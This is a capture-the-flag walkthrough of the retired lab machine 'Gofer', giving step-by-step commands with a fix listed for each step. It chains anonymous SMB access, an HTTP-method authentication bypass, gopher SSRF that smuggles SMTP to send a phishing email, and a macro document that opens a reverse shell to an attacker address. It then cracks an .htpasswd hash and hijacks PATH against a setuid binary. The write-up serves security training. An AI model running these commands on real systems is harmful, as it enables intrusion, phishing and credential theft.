jperezduerto.info
Gofer
Summary
I found a Samba share open to anonymous users that held an internal email. The email revealed that a staff member opens every attachment she receives and that the web proxy's authentication only covered some HTTP methods.
Switching the HTTP verb bypassed the proxy login, letting me drive the proxy as an internal SSRF relay into the box's own mail service and deliver a document carrying a malicious macro to that staff member. Opening it gave a shell as user jhudson.
From there I read an Apache password file, cracked a colleague's password offline, and logged in over SSH as tbuckley. That account belonged to a group allowed to run a setuid-root 'notes' utility; the utility invoked an external helper by name rather than full path, so a planted fake helper early in PATH ran as root, giving full control of the server.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD2="<the-password-you-recovered, for tbuckley>"Some commands also carry a value in angle brackets — <baseline_wc> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 5
Full TCP sweep, then nmap -sC -sV -p22,80,139,445 $TARGET.
$ nmap -p- --min-rate=1000 -T4 $TARGETResolve the main site and the proxy vhost locally.
$ echo "$TARGET gofer.htb proxy.gofer.htb" | sudo tee -a /etc/hostsReveals proxy.gofer.htb; <baseline_wc> is the default-response word count to filter out.
$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://gofer.htb -H 'Host: FUZZ.gofer.htb' -c -mc all --fw <baseline_wc>Confirm the guest-readable 'shares' share.
$ smbmap -H gofer.htbBrowse the share including hidden entries and pull the internal email.
$ smbclient //gofer.htb/shares --no-pass -c 'recurse ON; ls; get mail'FixRemove anonymous/guest access from the SMB share and stop storing sensitive mail thereMedium
Exact commands 2
Confirm which verbs bypass the GET-only auth block.
$ feroxbuster -u http://proxy.gofer.htb/ -w /usr/share/wordlists/dirb/big.txt -m GET,POST,PUT,OPTIONS,DELETE,PATCH -s 200Reach the proxy application without credentials.
$ curl -s -X POST 'http://proxy.gofer.htb/index.php?url=http://example.com'FixRestrict the proxy's access control to all HTTP methods, not just GETCritical
Exact commands 3
2130706433 is 127.0.0.1 as a decimal integer; confirms internal reachability via the SSH banner.
$ curl -s -X POST 'http://proxy.gofer.htb/index.php?url=gopher://2130706433:22'Listener to confirm jhudson's mail client fetches links in message bodies, before sending the real payload.
$ python3 -m http.server 8000SMTP conversation smuggled via gopher to loopback:25; URL-encode the payload (double-encode if the proxy decodes once itself). The leading underscore after host:port is required by gopher's selector syntax.
$ curl -s -X POST --data-urlencode "url=gopher://2130706433:25/_EHLO gofer.htb%0d%0aMAIL FROM:<jdavis@gofer.htb>%0d%0aRCPT TO:<jhudson@gofer.htb>%0d%0aDATA%0d%0aSubject: Document%0d%0a%0d%0aSee http://$ATTACKER_IP:8000/report.odt%0d%0a.%0d%0aQUIT%0d%0a" http://proxy.gofer.htb/index.phpFixEliminate SSRF in the URL-fetching proxyCritical
Exact commands 4
Catch the reverse shell before the document is opened.
$ nc -lvnp 443Builds the weaponized document; host it at the URL referenced in step 3's mail.
$ # In LibreOffice Writer: Tools > Macros > Edit Macros, add to the DOCUMENT (not 'My Macros'): Sub Main : Shell("bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/443 0>&1'") : End Sub, bind it to document Open event, save as report.odtVerify the resulting access before reading the flag.
$ ssh jhudson@$TARGET id
uid=1000(jhudson) gid=1000(jhudson) groups=1000(jhudson),108(netdev)<user.txt> — replace with the actual captured value.
$ cat /home/jhudson/user.txtFixDisable macro auto-execution and treat mail-fetched documents as untrustedHigh
Exact commands 3
Generate a key and append its pubkey to jhudson's authorized_keys from the existing shell.
$ ssh-keygen -q -t ed25519 -N '' -f /tmp/gofer_jhudson_key && cat /tmp/gofer_jhudson_key.pubRead the proxy vhost's Basic-Auth credential file.
$ ssh jhudson@$TARGET 'cat /etc/apache2/.htpasswd'Crack the apr1-MD5 hash offline (mode 1600 = apache $apr1$).
$ hashcat -m 1600 tbuckley.hash /usr/share/wordlists/rockyou.txtFixProtect the Apache credentials file and stop reusing its passwordsHigh
Exact commands 1
Confirm access and the setuid-root, dev-group-executable notes binary.
$ sshpass -p "$PASSWORD2" ssh tbuckley@$TARGET 'id; groups; ls -l /usr/local/bin/notes'FixEnforce unique credentials per account/serviceHigh
Exact commands 4
Fake 'tar' helper that spawns a privileged shell. Replace the cat target/placeholder as needed.
$ printf '#!/bin/bash\n/bin/bash -p -c "id; cat /root/root.txt"\n' > /tmp/tar && chmod 700 /tmp/tarEnsure the fake tar is found before the real /usr/bin/tar.
$ export PATH=/tmp:$PATHDrive the notes menu (create user, write note, show, then backup) to trigger the tar call as root.
$ printf '1\nprobe\n3\n4\nAAAAAAAAAAAAAAAAAAAAadmin\n2\n8\n9\n' | /usr/local/bin/notes<root.txt> — replace with the actual captured value.
$ cat /root/root.txtFixRemove the unneeded setuid bit and fix the unqualified PATH lookupCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http Apache httpd 2.4.56 |
| 139/tcp | smb recon-sweep-discovered |
| 445/tcp | smb recon-sweep-discovered |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.